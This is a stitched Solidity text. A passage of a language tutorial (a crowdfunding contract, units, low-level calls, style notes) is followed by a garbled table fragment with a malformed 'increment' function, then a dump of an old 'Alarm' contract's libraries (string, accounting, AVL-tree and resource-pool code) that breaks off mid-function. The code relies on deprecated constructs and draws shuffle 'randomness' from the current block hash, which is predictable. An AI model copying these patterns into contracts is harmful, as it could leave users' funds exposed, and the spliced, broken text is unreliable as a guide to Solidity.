creator = msg.sender;
fundRecipient = _fundRecipient;
campaignUrl = _campaignUrl;
minimumToRaise = _minimumToRaise;
raiseBy = now + (timeInHoursForFundraising * 1 hours);
}
function contribute()
public
payable
inState(State.Fundraising)
returns(uint256 id)
{
contributions.push(
Contribution({
amount: msg.value,
contributor: msg.sender
}) // use array, so can iterate
);
totalRaised += msg.value;
LogFundingReceived(msg.sender, msg.value, totalRaised);
checkIfFundingCompleteOrExpired();
return contributions.length - 1; // return id
}
function checkIfFundingCompleteOrExpired()
public
{
if (totalRaised > minimumToRaise) {
state = State.Successful;
payOut();
// could incentivize sender who initiated state change here
} else if ( now > raiseBy ) {
state = State.ExpiredRefund; // backers can now collect refunds by calling getRefund(id)
}
completeAt = now;
}
function payOut()
public
inState(State.Successful)
{
fundRecipient.transfer(this.balance);
LogWinnerPaid(fundRecipient);
}
function getRefund(uint256 id)
inState(State.ExpiredRefund)
public
returns(bool)
{
require(contributions.length > id && id >= 0 && contributions[id].amount != 0 );
uint256 amountToRefund = contributions[id].amount;
contributions[id].amount = 0;
contributions[id].contributor.transfer(amountToRefund);
return true;
}
function removeContract()
public
isCreator()
atEndOfLifecycle()
{
selfdestruct(msg.sender);
// creator gets all money that hasn't be claimed
}
}
// ** END EXAMPLE **
// 10. OTHER NATIVE FUNCTIONS
// Currency units
// Currency is defined using wei, smallest unit of Ether
uint minAmount = 1 wei;
uint a = 1 finney; // 1 ether == 1000 finney
// Other units, see: http://ether.fund/tool/converter
// Time units
1 == 1 second
1 minutes == 60 seconds
// Can multiply a variable times unit, as units are not stored in a variable
uint x = 5;
(x * 1 days); // 5 days
// Careful about leap seconds/years with equality statements for time
// (instead, prefer greater than/less than)
// Cryptography
// All strings passed are concatenated before hash action
sha3("ab", "cd");
ripemd160("abc");
sha256("def");
// 11. SECURITY
// Bugs can be disastrous in Ethereum contracts - and even popular patterns in Solidity,
// may be found to be antipatterns
// See security links at the end of this doc
// 12. LOW LEVEL FUNCTIONS
// call - low level, not often used, does not provide type safety
successBoolean = someContractAddress.call('function_name', 'arg1', 'arg2');
// callcode - Code at target address executed in *context* of calling contract
// provides library functionality
someContractAddress.callcode('function_name');
// 13. STYLE NOTES
// Based on Python's PEP8 style guide
// Full Style guide: http://solidity.readthedocs.io/en/develop/style-guide.html
// Quick summary:
// 4 spaces for indentation
// Two lines separate contract declarations (and other top level declarations)
// Avoid extraneous spaces in parentheses
// Can omit curly braces for one line statement (if, for, etc)
// else should be placed on own line
// 14. NATSPEC COMMENTS
// used for documentation, commenting, and external UIs
// Contract natspec - always above contract definition
/// @title Contract title
/// @author Author name
// Function natspec
/// @notice information about what function does; shown when function to execute
/// @dev Function documentation for developer
// Function parameter/return value natspec
/// @param someParam Some description of what the param does
/// @return Description of the return value
|
4. FUNCTIONS AND MORE A. Functions Simple function
|
function increment(uint x) returns (uint) {
x += 1;
return x;
Bank c = Bank(msg.sender, 5);
state = State.Created;
this.balance;
}
| 12,554,234 |
//Address: 0x07307d0b136a79bac718f43388aed706389c4588
//Contract name: Alarm
//Balance: 0.3491158383 Ether
//Verification Date: 2/15/2017
//Transacion Count: 16
// CODE STARTS HERE
// String Utils v0.1
/// @title String Utils - String utility functions
/// @author Piper Merriam -
library StringLib {
/*
* Address: 0x443b53559d337277373171280ec57029718203fb
*/
/// @dev Converts an unsigned integert to its string representation.
/// @param v The number to be converted.
function uintToBytes(uint v) constant returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
/// @dev Converts a numeric string to it's unsigned integer representation.
/// @param v The string to be converted.
function bytesToUInt(bytes32 v) constant returns (uint ret) {
if (v == 0x0) {
throw;
}
uint digit;
for (uint i = 0; i < 32; i++) {
digit = uint((uint(v) / (2 ** (8 * (31 - i)))) & 0xff);
if (digit == 0) {
break;
}
else if (digit < 48 || digit > 57) {
throw;
}
ret *= 10;
ret += (digit - 48);
}
return ret;
}
}
// Accounting v0.1 (not the same as the 0.1 release of this library)
/// @title Accounting Lib - Accounting utilities
/// @author Piper Merriam -
library AccountingLib {
/*
* Address: 0x7de615d8a51746a9f10f72a593fb5b3718dc3d52
*/
struct Bank {
mapping (address => uint) accountBalances;
}
/// @dev Low level method for adding funds to an account. Protects against overflow.
/// @param self The Bank instance to operate on.
/// @param accountAddress The address of the account the funds should be added to.
/// @param value The amount that should be added to the account.
function addFunds(Bank storage self, address accountAddress, uint value) public {
if (self.accountBalances[accountAddress] + value < self.accountBalances[accountAddress]) {
// Prevent Overflow.
throw;
}
self.accountBalances[accountAddress] += value;
}
event _Deposit(address indexed _from, address indexed accountAddress, uint value);
/// @dev Function wrapper around the _Deposit event so that it can be used by contracts. Can be used to log a deposit to an account.
/// @param _from The address that deposited the funds.
/// @param accountAddress The address of the account the funds were added to.
/// @param value The amount that was added to the account.
function Deposit(address _from, address accountAddress, uint value) public {
_Deposit(_from, accountAddress, value);
}
/// @dev Safe function for depositing funds. Returns boolean for whether the deposit was successful
/// @param self The Bank instance to operate on.
/// @param accountAddress The address of the account the funds should be added to.
/// @param value The amount that should be added to the account.
function deposit(Bank storage self, address accountAddress, uint value) public returns (bool) {
addFunds(self, accountAddress, value);
return true;
}
event _Withdrawal(address indexed accountAddress, uint value);
/// @dev Function wrapper around the _Withdrawal event so that it can be used by contracts. Can be used to log a withdrawl from an account.
/// @param accountAddress The address of the account the funds were withdrawn from.
/// @param value The amount that was withdrawn to the account.
function Withdrawal(address accountAddress, uint value) public {
_Withdrawal(accountAddress, value);
}
event _InsufficientFunds(address indexed accountAddress, uint value, uint balance);
/// @dev Function wrapper around the _InsufficientFunds event so that it can be used by contracts. Can be used to log a failed withdrawl from an account.
/// @param accountAddress The address of the account the funds were to be withdrawn from.
/// @param value The amount that was attempted to be withdrawn from the account.
/// @param balance The current balance of the account.
function InsufficientFunds(address accountAddress, uint value, uint balance) public {
_InsufficientFunds(accountAddress, value, balance);
}
/// @dev Low level method for removing funds from an account. Protects against underflow.
/// @param self The Bank instance to operate on.
/// @param accountAddress The address of the account the funds should be deducted from.
/// @param value The amount that should be deducted from the account.
function deductFunds(Bank storage self, address accountAddress, uint value) public {
/*
* Helper function that should be used for any reduction of
* account funds. It has error checking to prevent
* underflowing the account balance which would be REALLY bad.
*/
if (value > self.accountBalances[accountAddress]) {
// Prevent Underflow.
throw;
}
self.accountBalances[accountAddress] -= value;
}
/// @dev Safe function for withdrawing funds. Returns boolean for whether the deposit was successful as well as sending the amount in ether to the account address.
/// @param self The Bank instance to operate on.
/// @param accountAddress The address of the account the funds should be withdrawn from.
/// @param value The amount that should be withdrawn from the account.
function withdraw(Bank storage self, address accountAddress, uint value) public returns (bool) {
/*
* Public API for withdrawing funds.
*/
if (self.accountBalances[accountAddress] >= value) {
deductFunds(self, accountAddress, value);
if (!accountAddress.send(value)) {
// Potentially sending money to a contract that
// has a fallback function. So instead, try
// tranferring the funds with the call api.
if (!accountAddress.call.value(value)()) {
// Revert the entire transaction. No
// need to destroy the funds.
throw;
}
}
return true;
}
return false;
}
}
// Grove v0.3 (not the same as the 0.3 release of this library)
/// @title GroveLib - Library for queriable indexed ordered data.
/// @author PiperMerriam -
library GroveLib {
/*
* Indexes for ordered data
*
* Address: 0x920c890a90db8fba7604864b0cf38ee667331323
*/
struct Index {
bytes32 root;
mapping (bytes32 => Node) nodes;
}
struct Node {
bytes32 id;
int value;
bytes32 parent;
bytes32 left;
bytes32 right;
uint height;
}
function max(uint a, uint b) internal returns (uint) {
if (a >= b) {
return a;
}
return b;
}
/*
* Node getters
*/
/// @dev Retrieve the unique identifier for the node.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getNodeId(Index storage index, bytes32 id) constant returns (bytes32) {
return index.nodes[id].id;
}
/// @dev Retrieve the value for the node.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getNodeValue(Index storage index, bytes32 id) constant returns (int) {
return index.nodes[id].value;
}
/// @dev Retrieve the height of the node.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getNodeHeight(Index storage index, bytes32 id) constant returns (uint) {
return index.nodes[id].height;
}
/// @dev Retrieve the parent id of the node.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getNodeParent(Index storage index, bytes32 id) constant returns (bytes32) {
return index.nodes[id].parent;
}
/// @dev Retrieve the left child id of the node.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getNodeLeftChild(Index storage index, bytes32 id) constant returns (bytes32) {
return index.nodes[id].left;
}
/// @dev Retrieve the right child id of the node.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getNodeRightChild(Index storage index, bytes32 id) constant returns (bytes32) {
return index.nodes[id].right;
}
/// @dev Retrieve the node id of the next node in the tree.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getPreviousNode(Index storage index, bytes32 id) constant returns (bytes32) {
Node storage currentNode = index.nodes[id];
if (currentNode.id == 0x0) {
// Unknown node, just return 0x0;
return 0x0;
}
Node memory child;
if (currentNode.left != 0x0) {
// Trace left to latest child in left tree.
child = index.nodes[currentNode.left];
while (child.right != 0) {
child = index.nodes[child.right];
}
return child.id;
}
if (currentNode.parent != 0x0) {
// Now we trace back up through parent relationships, looking
// for a link where the child is the right child of it's
// parent.
Node storage parent = index.nodes[currentNode.parent];
child = currentNode;
while (true) {
if (parent.right == child.id) {
return parent.id;
}
if (parent.parent == 0x0) {
break;
}
child = parent;
parent = index.nodes[parent.parent];
}
}
// This is the first node, and has no previous node.
return 0x0;
}
/// @dev Retrieve the node id of the previous node in the tree.
/// @param index The index that the node is part of.
/// @param id The id for the node to be looked up.
function getNextNode(Index storage index, bytes32 id) constant returns (bytes32) {
Node storage currentNode = index.nodes[id];
if (currentNode.id == 0x0) {
// Unknown node, just return 0x0;
return 0x0;
}
Node memory child;
if (currentNode.right != 0x0) {
// Trace right to earliest child in right tree.
child = index.nodes[currentNode.right];
while (child.left != 0) {
child = index.nodes[child.left];
}
return child.id;
}
if (currentNode.parent != 0x0) {
// if the node is the left child of it's parent, then the
// parent is the next one.
Node storage parent = index.nodes[currentNode.parent];
child = currentNode;
while (true) {
if (parent.left == child.id) {
return parent.id;
}
if (parent.parent == 0x0) {
break;
}
child = parent;
parent = index.nodes[parent.parent];
}
// Now we need to trace all the way up checking to see if any parent is the
}
// This is the final node.
return 0x0;
}
/// @dev Updates or Inserts the id into the index at its appropriate location based on the value provided.
/// @param index The index that the node is part of.
/// @param id The unique identifier of the data element the index node will represent.
/// @param value The value of the data element that represents it's total ordering with respect to other elementes.
function insert(Index storage index, bytes32 id, int value) public {
if (index.nodes[id].id == id) {
// A node with this id already exists. If the value is
// the same, then just return early, otherwise, remove it
// and reinsert it.
if (index.nodes[id].value == value) {
return;
}
remove(index, id);
}
uint leftHeight;
uint rightHeight;
bytes32 previousNodeId = 0x0;
if (index.root == 0x0) {
index.root = id;
}
Node storage currentNode = index.nodes[index.root];
// Do insertion
while (true) {
if (currentNode.id == 0x0) {
// This is a new unpopulated node.
currentNode.id = id;
currentNode.parent = previousNodeId;
currentNode.value = value;
break;
}
// Set the previous node id.
previousNodeId = currentNode.id;
// The new node belongs in the right subtree
if (value >= currentNode.value) {
if (currentNode.right == 0x0) {
currentNode.right = id;
}
currentNode = index.nodes[currentNode.right];
continue;
}
// The new node belongs in the left subtree.
if (currentNode.left == 0x0) {
currentNode.left = id;
}
currentNode = index.nodes[currentNode.left];
}
// Rebalance the tree
_rebalanceTree(index, currentNode.id);
}
/// @dev Checks whether a node for the given unique identifier exists within the given index.
/// @param index The index that should be searched
/// @param id The unique identifier of the data element to check for.
function exists(Index storage index, bytes32 id) constant returns (bool) {
return (index.nodes[id].id == id);
}
/// @dev Remove the node for the given unique identifier from the index.
/// @param index The index that should be removed
/// @param id The unique identifier of the data element to remove.
function remove(Index storage index, bytes32 id) public {
Node storage replacementNode;
Node storage parent;
Node storage child;
bytes32 rebalanceOrigin;
Node storage nodeToDelete = index.nodes[id];
if (nodeToDelete.id != id) {
// The id does not exist in the tree.
return;
}
if (nodeToDelete.left != 0x0 || nodeToDelete.right != 0x0) {
// This node is not a leaf node and thus must replace itself in
// it's tree by either the previous or next node.
if (nodeToDelete.left != 0x0) {
// This node is guaranteed to not have a right child.
replacementNode = index.nodes[getPreviousNode(index, nodeToDelete.id)];
}
else {
// This node is guaranteed to not have a left child.
replacementNode = index.nodes[getNextNode(index, nodeToDelete.id)];
}
// The replacementNode is guaranteed to have a parent.
parent = index.nodes[replacementNode.parent];
// Keep note of the location that our tree rebalancing should
// start at.
rebalanceOrigin = replacementNode.id;
// Join the parent of the replacement node with any subtree of
// the replacement node. We can guarantee that the replacement
// node has at most one subtree because of how getNextNode and
// getPreviousNode are used.
if (parent.left == replacementNode.id) {
parent.left = replacementNode.right;
if (replacementNode.right != 0x0) {
child = index.nodes[replacementNode.right];
child.parent = parent.id;
}
}
if (parent.right == replacementNode.id) {
parent.right = replacementNode.left;
if (replacementNode.left != 0x0) {
child = index.nodes[replacementNode.left];
child.parent = parent.id;
}
}
// Now we replace the nodeToDelete with the replacementNode.
// This includes parent/child relationships for all of the
// parent, the left child, and the right child.
replacementNode.parent = nodeToDelete.parent;
if (nodeToDelete.parent != 0x0) {
parent = index.nodes[nodeToDelete.parent];
if (parent.left == nodeToDelete.id) {
parent.left = replacementNode.id;
}
if (parent.right == nodeToDelete.id) {
parent.right = replacementNode.id;
}
}
else {
// If the node we are deleting is the root node update the
// index root node pointer.
index.root = replacementNode.id;
}
replacementNode.left = nodeToDelete.left;
if (nodeToDelete.left != 0x0) {
child = index.nodes[nodeToDelete.left];
child.parent = replacementNode.id;
}
replacementNode.right = nodeToDelete.right;
if (nodeToDelete.right != 0x0) {
child = index.nodes[nodeToDelete.right];
child.parent = replacementNode.id;
}
}
else if (nodeToDelete.parent != 0x0) {
// The node being deleted is a leaf node so we only erase it's
// parent linkage.
parent = index.nodes[nodeToDelete.parent];
if (parent.left == nodeToDelete.id) {
parent.left = 0x0;
}
if (parent.right == nodeToDelete.id) {
parent.right = 0x0;
}
// keep note of where the rebalancing should begin.
rebalanceOrigin = parent.id;
}
else {
// This is both a leaf node and the root node, so we need to
// unset the root node pointer.
index.root = 0x0;
}
// Now we zero out all of the fields on the nodeToDelete.
nodeToDelete.id = 0x0;
nodeToDelete.value = 0;
nodeToDelete.parent = 0x0;
nodeToDelete.left = 0x0;
nodeToDelete.right = 0x0;
// Walk back up the tree rebalancing
if (rebalanceOrigin != 0x0) {
_rebalanceTree(index, rebalanceOrigin);
}
}
bytes2 constant GT = ">";
bytes2 constant LT = "<";
bytes2 constant GTE = ">=";
bytes2 constant LTE = "<=";
bytes2 constant EQ = "==";
function _compare(int left, bytes2 operator, int right) internal returns (bool) {
if (operator == GT) {
return (left > right);
}
if (operator == LT) {
return (left < right);
}
if (operator == GTE) {
return (left >= right);
}
if (operator == LTE) {
return (left <= right);
}
if (operator == EQ) {
return (left == right);
}
// Invalid operator.
throw;
}
function _getMaximum(Index storage index, bytes32 id) internal returns (int) {
Node storage currentNode = index.nodes[id];
while (true) {
if (currentNode.right == 0x0) {
return currentNode.value;
}
currentNode = index.nodes[currentNode.right];
}
}
function _getMinimum(Index storage index, bytes32 id) internal returns (int) {
Node storage currentNode = index.nodes[id];
while (true) {
if (currentNode.left == 0x0) {
return currentNode.value;
}
currentNode = index.nodes[currentNode.left];
}
}
/** @dev Query the index for the edge-most node that satisfies the
* given query. For >, >=, and ==, this will be the left-most node
* that satisfies the comparison. For < and <= this will be the
* right-most node that satisfies the comparison.
*/
/// @param index The index that should be queried
/** @param operator One of '>', '>=', '<', '<=', '==' to specify what
* type of comparison operator should be used.
*/
function query(Index storage index, bytes2 operator, int value) public returns (bytes32) {
bytes32 rootNodeId = index.root;
if (rootNodeId == 0x0) {
// Empty tree.
return 0x0;
}
Node storage currentNode = index.nodes[rootNodeId];
while (true) {
if (_compare(currentNode.value, operator, value)) {
// We have found a match but it might not be the
// *correct* match.
if ((operator == LT) || (operator == LTE)) {
// Need to keep traversing right until this is no
// longer true.
if (currentNode.right == 0x0) {
return currentNode.id;
}
if (_compare(_getMinimum(index, currentNode.right), operator, value)) {
// There are still nodes to the right that
// match.
currentNode = index.nodes[currentNode.right];
continue;
}
return currentNode.id;
}
if ((operator == GT) || (operator == GTE) || (operator == EQ)) {
// Need to keep traversing left until this is no
// longer true.
if (currentNode.left == 0x0) {
return currentNode.id;
}
if (_compare(_getMaximum(index, currentNode.left), operator, value)) {
currentNode = index.nodes[currentNode.left];
continue;
}
return currentNode.id;
}
}
if ((operator == LT) || (operator == LTE)) {
if (currentNode.left == 0x0) {
// There are no nodes that are less than the value
// so return null.
return 0x0;
}
currentNode = index.nodes[currentNode.left];
continue;
}
if ((operator == GT) || (operator == GTE)) {
if (currentNode.right == 0x0) {
// There are no nodes that are greater than the value
// so return null.
return 0x0;
}
currentNode = index.nodes[currentNode.right];
continue;
}
if (operator == EQ) {
if (currentNode.value < value) {
if (currentNode.right == 0x0) {
return 0x0;
}
currentNode = index.nodes[currentNode.right];
continue;
}
if (currentNode.value > value) {
if (currentNode.left == 0x0) {
return 0x0;
}
currentNode = index.nodes[currentNode.left];
continue;
}
}
}
}
function _rebalanceTree(Index storage index, bytes32 id) internal {
// Trace back up rebalancing the tree and updating heights as
// needed..
Node storage currentNode = index.nodes[id];
while (true) {
int balanceFactor = _getBalanceFactor(index, currentNode.id);
if (balanceFactor == 2) {
// Right rotation (tree is heavy on the left)
if (_getBalanceFactor(index, currentNode.left) == -1) {
// The subtree is leaning right so it need to be
// rotated left before the current node is rotated
// right.
_rotateLeft(index, currentNode.left);
}
_rotateRight(index, currentNode.id);
}
if (balanceFactor == -2) {
// Left rotation (tree is heavy on the right)
if (_getBalanceFactor(index, currentNode.right) == 1) {
// The subtree is leaning left so it need to be
// rotated right before the current node is rotated
// left.
_rotateRight(index, currentNode.right);
}
_rotateLeft(index, currentNode.id);
}
if ((-1 <= balanceFactor) && (balanceFactor <= 1)) {
_updateNodeHeight(index, currentNode.id);
}
if (currentNode.parent == 0x0) {
// Reached the root which may be new due to tree
// rotation, so set it as the root and then break.
break;
}
currentNode = index.nodes[currentNode.parent];
}
}
function _getBalanceFactor(Index storage index, bytes32 id) internal returns (int) {
Node storage node = index.nodes[id];
return int(index.nodes[node.left].height) - int(index.nodes[node.right].height);
}
function _updateNodeHeight(Index storage index, bytes32 id) internal {
Node storage node = index.nodes[id];
node.height = max(index.nodes[node.left].height, index.nodes[node.right].height) + 1;
}
function _rotateLeft(Index storage index, bytes32 id) internal {
Node storage originalRoot = index.nodes[id];
if (originalRoot.right == 0x0) {
// Cannot rotate left if there is no right originalRoot to rotate into
// place.
throw;
}
// The right child is the new root, so it gets the original
// `originalRoot.parent` as it's parent.
Node storage newRoot = index.nodes[originalRoot.right];
newRoot.parent = originalRoot.parent;
// The original root needs to have it's right child nulled out.
originalRoot.right = 0x0;
if (originalRoot.parent != 0x0) {
// If there is a parent node, it needs to now point downward at
// the newRoot which is rotating into the place where `node` was.
Node storage parent = index.nodes[originalRoot.parent];
// figure out if we're a left or right child and have the
// parent point to the new node.
if (parent.left == originalRoot.id) {
parent.left = newRoot.id;
}
if (parent.right == originalRoot.id) {
parent.right = newRoot.id;
}
}
if (newRoot.left != 0) {
// If the new root had a left child, that moves to be the
// new right child of the original root node
Node storage leftChild = index.nodes[newRoot.left];
originalRoot.right = leftChild.id;
leftChild.parent = originalRoot.id;
}
// Update the newRoot's left node to point at the original node.
originalRoot.parent = newRoot.id;
newRoot.left = originalRoot.id;
if (newRoot.parent == 0x0) {
index.root = newRoot.id;
}
// TODO: are both of these updates necessary?
_updateNodeHeight(index, originalRoot.id);
_updateNodeHeight(index, newRoot.id);
}
function _rotateRight(Index storage index, bytes32 id) internal {
Node storage originalRoot = index.nodes[id];
if (originalRoot.left == 0x0) {
// Cannot rotate right if there is no left node to rotate into
// place.
throw;
}
// The left child is taking the place of node, so we update it's
// parent to be the original parent of the node.
Node storage newRoot = index.nodes[originalRoot.left];
newRoot.parent = originalRoot.parent;
// Null out the originalRoot.left
originalRoot.left = 0x0;
if (originalRoot.parent != 0x0) {
// If the node has a parent, update the correct child to point
// at the newRoot now.
Node storage parent = index.nodes[originalRoot.parent];
if (parent.left == originalRoot.id) {
parent.left = newRoot.id;
}
if (parent.right == originalRoot.id) {
parent.right = newRoot.id;
}
}
if (newRoot.right != 0x0) {
Node storage rightChild = index.nodes[newRoot.right];
originalRoot.left = newRoot.right;
rightChild.parent = originalRoot.id;
}
// Update the new root's right node to point to the original node.
originalRoot.parent = newRoot.id;
newRoot.right = originalRoot.id;
if (newRoot.parent == 0x0) {
index.root = newRoot.id;
}
// Recompute heights.
_updateNodeHeight(index, originalRoot.id);
_updateNodeHeight(index, newRoot.id);
}
}
// Resource Pool v0.1.0 (has been modified from the main released version of this library)
// @title ResourcePoolLib - Library for a set of resources that are ready for use.
// @author Piper Merriam
library ResourcePoolLib {
/*
* Address: 0xd6bbd16eaa6ea3f71a458bffc64c0ca24fc8c58e
*/
struct Pool {
uint rotationDelay;
uint overlapSize;
uint freezePeriod;
uint _id;
GroveLib.Index generationStart;
GroveLib.Index generationEnd;
mapping (uint => Generation) generations;
mapping (address => uint) bonds;
}
/*
* Generations have the following properties.
*
* 1. Must always overlap by a minimum amount specified by MIN_OVERLAP.
*
* 1 2 3 4 5 6 7 8 9 10 11 12 13
* [1:-----------------]
* [4:--------------------->
*/
struct Generation {
uint id;
uint startAt;
uint endAt;
address[] members;
}
/// @dev Creates the next generation for the given pool. All members from the current generation are carried over (with their order randomized). The current generation will have it's endAt block set.
/// @param self The pool to operate on.
function createNextGeneration(Pool storage self) public returns (uint) {
/*
* Creat a new pool generation with all of the current
* generation's members copied over in random order.
*/
Generation storage previousGeneration = self.generations[self._id];
self._id += 1;
Generation storage nextGeneration = self.generations[self._id];
nextGeneration.id = self._id;
nextGeneration.startAt = block.number + self.freezePeriod + self.rotationDelay;
GroveLib.insert(self.generationStart, StringLib.uintToBytes(nextGeneration.id), int(nextGeneration.startAt));
if (previousGeneration.id == 0) {
// This is the first generation so we just need to set
// it's `id` and `startAt`.
return nextGeneration.id;
}
// Set the end date for the current generation.
previousGeneration.endAt = block.number + self.freezePeriod + self.rotationDelay + self.overlapSize;
GroveLib.insert(self.generationEnd, StringLib.uintToBytes(previousGeneration.id), int(previousGeneration.endAt));
// Now we copy the members of the previous generation over to
// the next generation as well as randomizing their order.
address[] memory members = previousGeneration.members;
for (uint i = 0; i < members.length; i++) {
// Pick a *random* index and push it onto the next
// generation's members.
uint index = uint(sha3(block.blockhash(block.number))) % (members.length - nextGeneration.members.length);
nextGeneration.members.length += 1;
nextGeneration.members[nextGeneration.members.length - 1] = members[index];
// Then move the member at the last index into the picked
// index's location.
members[index] = members[members.length - 1];
}
return nextGeneration.id;
}
/// @dev Returns the first generation id that fully contains the block window provided.
/// @param self The pool to operate on.
/// @param leftBound The left bound for the block window (inclusive)
/// @param rightBound The right bound for the block window (inclusive)
function getGenerationForWindow(Pool storage self, uint leftBound, uint rightBound) constant returns (uint) {
// TODO: tests
var left = GroveLib.query(self.generationStart, "<=", int(leftBound));
if (left != 0x0) {
Generation memory leftCandidate = self.generations[StringLib.bytesToUInt(left)];
if (leftCandidate.startAt <= leftBound && (leftCandidate.endAt >= rightBound || leftCandidate.endAt == 0)) {
return leftCandidate.id;
}
}
var right = GroveLib.query(self.generationEnd, ">=", int(rightBound));
if (right != 0x0) {
Generation memory rightCandidate = self.generations[StringLib.bytesToUInt(right)];
if (rightCandidate.startAt <= leftBound && (rightCandidate.endAt >= rightBound || rightCandidate.endAt == 0)) {
return rightCandidate.id;
}
}
return 0;
}
/// @dev Returns the first generation in the future that has not yet started.
/// @param self The pool to operate on.
function getNextGenerationId(Pool storage self) constant returns (uint) {
// TODO: tests
var next = GroveLib.query(self.generationStart, ">", int(block.number));
if (next == 0x0) {
return 0;
}
return StringLib.bytesToUInt(next);
}
/// @dev Returns the first generation that is currently active.
/// @param self The pool to operate on.
function getCurrentGenerationId(Pool storage self) constant returns (uint) {
// TODO: tests
var next = GroveLib.query(self.generationEnd, ">", int(block.number));
if (next != 0x0) {
return StringLib.bytesToUInt(next);
}
next = GroveLib.query(self.generationStart, "<=", int(block.number));
if (next != 0x0) {
return StringLib.bytesToUInt(next);
}
return 0;
}
/*
* Pool membership API
*/
/// @dev Returns a boolean for whether the given address is in the given generation.
/// @param self The pool to operate on.
/// @param resourceAddress The address to check membership of
/// @param generationId The id of the generation to check.
function isInGeneration(Pool storage self, address resourceAddress, uint generationId) constant returns (bool) {
// TODO: tests
if (generationId == 0) {
return false;
}
Generation memory generation = self.generations[generationId];
for (uint i = 0; i < generation.members.length; i++) {
if (generation.members[i] == resourceAddress) {
return true;
}
}
return false;
}
/// @dev Returns a boolean for whether the given address is in the current generation.
/// @param self The pool to operate on.
/// @param resourceAddress The address to check membership of
function isInCurrentGeneration(Pool storage self, address resourceAddress) constant returns (bool) {
// TODO: tests
return isInGeneration(self, resourceAddress, getCurrentGenerationId(self));
}
/// @dev Returns a boolean for whether the given address is in the next queued generation.
/// @param self The pool to operate on.
/// @param resourceAddress The address to check membership of
function isInNextGeneration(Pool storage self, address resourceAddress) constant returns (bool) {
// TODO: tests
return isInGeneration(self, resourceAddress, getNextGenerationId(self));
}
/// @dev Returns a boolean for whether the given address is in either the current generation or the next queued generation.
/// @param self The pool to operate on.
/// @param resourceAddress The address to check membership of
function isInPool(Pool storage self, address resourceAddress) constant returns (bool) {
// TODO: tests
return (isInCurrentGeneration(self, resourceAddress) || isInNextGeneration(self, resourceAddress));
}
event _AddedToGeneration(address indexed resourceAddress, uint indexed generationId);
/// @dev Function to expose the _AddedToGeneration event to contracts.
/// @param resourceAddress The address that was added
/// @param generationId The id of the generation.
function AddedToGeneration(address resourceAddress, uint generationId) public {
_AddedToGeneration(resourceAddress, generationId);
}
event _RemovedFromGeneration(address indexed resourceAddress, uint indexed generationId);
/// @dev Function to expose the _AddedToGeneration event to contracts.
/// @param resourceAddress The address that was removed.
/// @param generationId The id of the generation.
function RemovedFromGeneration(address resourceAddress, uint generationId) public {
_RemovedFromGeneration(resourceAddress, generationId);
}
/// @dev Returns a boolean as to whether the provided address is allowed to enter the pool at this time.
/// @param self The pool to operate on.
/// @param resourceAddress The address in question
/// @param minimumBond The minimum bond amount that should be required for entry.
function canEnterPool(Pool storage self, address resourceAddress, uint minimumBond) constant returns (bool) {
/*
* - bond
* - pool is open
* - not already in it.
* - not already left it.
*/
// TODO: tests
if (self.bonds[resourceAddress] < minimumBond) {
// Insufficient bond balance;
return false;
}
if (isInPool(self, resourceAddress)) {
// Already in the pool either in the next upcoming generation
// or the currently active generation.
return false;
}
var nextGenerationId = getNextGenerationId(self);
if (nextGenerationId != 0) {
var nextGeneration = self.generations[nextGenerationId];
if (block.number + self.freezePeriod >= nextGeneration.startAt) {
// Next generation starts too soon.
return false;
}
}
return true;
}
/// @dev Adds the address to pool by adding them to the next generation (as well as creating it if it doesn't exist).
/// @param self The pool to operate on.
/// @param resourceAddress The address to be added to the pool
/// @param minimumBond The minimum bond amount that should be required for entry.
function enterPool(Pool storage self, address resourceAddress, uint minimumBond) public returns (uint) {
if (!canEnterPool(self, resourceAddress, minimumBond)) {
throw;
}
uint nextGenerationId = getNextGenerationId(self);
if (nextGenerationId == 0) {
// No next generation has formed yet so create it.
nextGenerationId = createNextGeneration(self);
}
Generation storage nextGeneration = self.generations[nextGenerationId];
// now add the new address.
nextGeneration.members.length += 1;
nextGeneration.members[nextGeneration.members.length - 1] = resourceAddress;
return nextGenerationId;
}
/// @dev Returns a boolean as to whether the provided address is allowed to exit the pool at this time.
/// @param self The pool to operate on.
/// @param resourceAddress The address in question
function canExitPool(Pool storage self, address resourceAddress) constant returns (bool) {
if (!isInCurrentGeneration(self, resourceAddress)) {
// Not in the pool.
return false;
}
uint nextGenerationId = getNextGenerationId(self);
if (nextGenerationId == 0) {
// Next generation hasn't been generated yet.
return true;
}
if (self.generations[nextGenerationId].startAt - self.freezePeriod <= block.number) {
// Next generation starts too soon.
return false;
}
// They can leave if they are still in the next generation.
// otherwise they have already left it.
return isInNextGeneration(self, resourceAddress);
}
/// @dev Removes the address from the pool by removing them from the next generation (as well as creating it if it doesn't exist)
/// @param self The pool to operate on.
/// @param resourceAddress The address in question
function exitPool(Pool storage self, address resourceAddress) public returns (uint) {
if (!canExitPool(self, resourceAddress)) {
throw;
}
uint nextGenerationId = getNextGenerationId(self);
if (nextGenerationId == 0) {
// No next generation has formed yet so create it.
nextGenerationId = createNextGeneration(self);
}
// Remove them from the generation
removeFromGeneration(self, nextGenerationId, resourceAddress);
return nextGenerationId;
}
/// @dev Removes the address from a generation's members array. Returns boolean as to whether removal was successful.
/// @param self The pool to operate on.
/// @param generationId The id of the generation to operate on.
/// @param resourceAddress The address to be removed.
function removeFromGeneration(Pool storage self, uint generationId, address resourceAddress) public returns (bool){
Generation storage generation = self.generations[generationId];
// now remove the address
for (uint i = 0; i < generation.members.length; i++) {
if (generation.members[i] == resourceAddress) {
generation.members[i] = generation.members[generation.members.length - 1];
generation.members.length -= 1;
return true;
}
}
return false;
}
/*
* Bonding
*/
/// @dev Subtracts the amount from an account's bond balance.
/// @param self The pool to operate on.
/// @param resourceAddress The address of the account
/// @param value The value to subtract.
function deductFromBond(Pool storage self, address resourceAddress, uint value) public {
/*
* deduct funds from a bond value without risk of an
* underflow.
*/
if (value > self.bonds[resourceAddress]) {
// Prevent Underflow.
throw;
}
